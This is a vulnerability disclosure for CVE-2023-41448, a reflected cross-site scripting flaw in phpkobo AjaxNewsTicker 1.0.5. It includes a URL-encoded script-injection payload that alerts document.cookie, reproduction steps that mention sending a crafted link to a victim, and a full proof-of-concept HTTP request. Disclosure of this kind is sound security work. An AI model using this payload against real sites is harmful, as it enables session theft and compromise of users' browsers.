Headline
CVE-2023-41448: CVE-2023-41448
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the ID parameter in the index.php component.
Vulnerability Type: Cross Site Scripting (XSS) Vulnerability
Vendor of Product: phpkobo
Affected Product Code Base: AjaxNewsTicker
Product Version: 1.05
Description: Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload inside the “ID” parameter in “publish or view news” in the index.php component.
Attack Vectors: To exploit this vulnerability the victim must click on the malicious link and then the payload will be executed on the victim’s browser.
Attack Type: Remote
Payload: %22%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e
Assigned CVE-ID: CVE-2023-41448
Discoverer: Pedram Khazaei, Raspina Net Pars Group (RNPG Ltd.)
Steps To Reproduce
1. Browse the the following URL: https://<target.xyz>/ntic/admin/index.php?_rtp=run-preview&id=*&inme=scripttag
2. Insert payload in the “id” parameter in GET method
3. You can create your malicious payload and send the crafted malicious link to the victim in order to be executed on his/her browser.
#PoC
GET ntic/admin/index.php?_rtp=run-preview&id=3521%22%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e&inme=scripttag HTTP/1.1
Host: localhost:2222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,imagewebp*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close